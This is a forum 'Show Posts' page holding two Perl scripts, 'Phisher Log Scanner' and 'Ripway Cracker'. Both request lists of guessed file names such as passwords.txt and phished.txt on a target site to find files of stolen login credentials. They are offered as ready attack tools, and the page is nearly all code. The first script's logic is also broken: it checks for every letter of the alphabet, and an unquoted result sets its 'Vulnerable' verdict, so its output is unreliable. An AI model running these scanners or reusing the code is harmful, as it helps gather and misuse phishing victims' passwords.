Show Posts
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
http://www.evaphone.com/locale/en
#!/usr/bin/perl
use Socket;
system('cls');
system('title Phisher Log Scanner ');
use LWP::UserAgent;
use HTTP::Request;
regex();
header();
#data
print ">URL:\n";
print '>';chomp($link = <STDIN>);
if($link !~ /http:\/\//) { $link = "http://$link"; }
# Scanning Dir...
@vuls = ('log.txt',
'Log.txt',
'logs.txt',
'Logs.txt',
'passwords.txt',
'Passwords.txt',
'password.txt',
'Password.txt',
'Login.txt',
'login.txt',
'User.txt',
'user.txt',
'Users.txt',
'users.txt',
'Phished.txt',
'phished.txt',
'Found.txt',
'found.txt',
'Logger.txt',
'logger.txt',
'phisher.txt',
'Phisher.txt',
'pass.txt',
'Pass.txt',
'logovi.txt',
'Logovi.txt',
'logz.txt',
'logZ.txt',
'LogZ.txt',
'Logz.txt',
'File.txt',
'file.txt');
print ">Scanning...\n";
foreach $scan(@vuls){
$url = $link.$scan;
$request = HTTP::Request->new(GET=>$url);
$useragent = LWP::UserAgent->new();
$response = $useragent->request($request);
if ($response->is_success && $response->content =~ /username/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /id/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /accountid/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /login/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /password/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /pass/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /passwd/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /a/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /b/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /c/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /d/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /e/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /f/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /g/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /h/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /i/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /j/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /k/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /l/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /m/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /n/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /o/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /p/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /q/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /r/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /s/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /t/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /u/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /v/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /w/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /x/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /y/) { $msg = "Not Found";}
if ($response->is_success && $response->content =~ /z/) { $msg = "Not Found";}
else { $msg = Vulnerable;}
print "$scan..........[$msg]\n";
}
sub regex(){
$sis="$^O";if ($sis eq windows){ $cmd="clear";} else { $cmd="cls"; }
system("$cmd");
}
sub header(){
print q{
[+]-----------------------------------------[+]
[+]------------Phisher Log Scanner----------[+]
};
}
Ripway Cracker#!/usr/bin/perl -w
use LWP::UserAgent;
use HTTP::Request;
print q(
#################################################
# #
# #
# Ripway cracker v1.0 #
# #
# #
# #
# #
#################################################
);
($url) = @ARGV;
if(@ARGV !=1) {
print "How to use: perl ripway.pl url_untill_the_ripway_phisher\n";
print "Example: perl ripway.pl http://h1.ripway.com/topn1k/";
exit;
}
@rips = ('passwords.txt','password.txt','pass.txt','accounts.txt','passy.txt','pasy.txt','accs.txt','accz123.txt','pwd.txt','pwds.txt','passwd.txt','passwds.txt','rapids.txt','rapid.txt','rapidaccs.txt','rapid_acc.txt','rapids.txt','rapidshare.txt','rshare.txt','rsaccs.txt','zxfeel.txt','dawss2.txt','TEXT-FILE.txt','D2K46CRSGE95F.txt','B3W2T2D2FG.txt','nushi.txt','zihouh.txt','2512.txt','TEXT-FILEE.txt');
foreach $sken(@rips) {
my $adresa = $url.$sken;
my $zahtjev = HTTP::Request->new(GET=>$adresa);
my $ua = LWP::UserAgent->new();
my $odgovor = $ua->request($zahtjev);
if($odgovor->is_success) {
if($odgovor->content =~ /IP:/) {
print "Found it!\n\n";
print "Adresa: $adresa";
exit;
}
}
else {
print "Error.";
}
}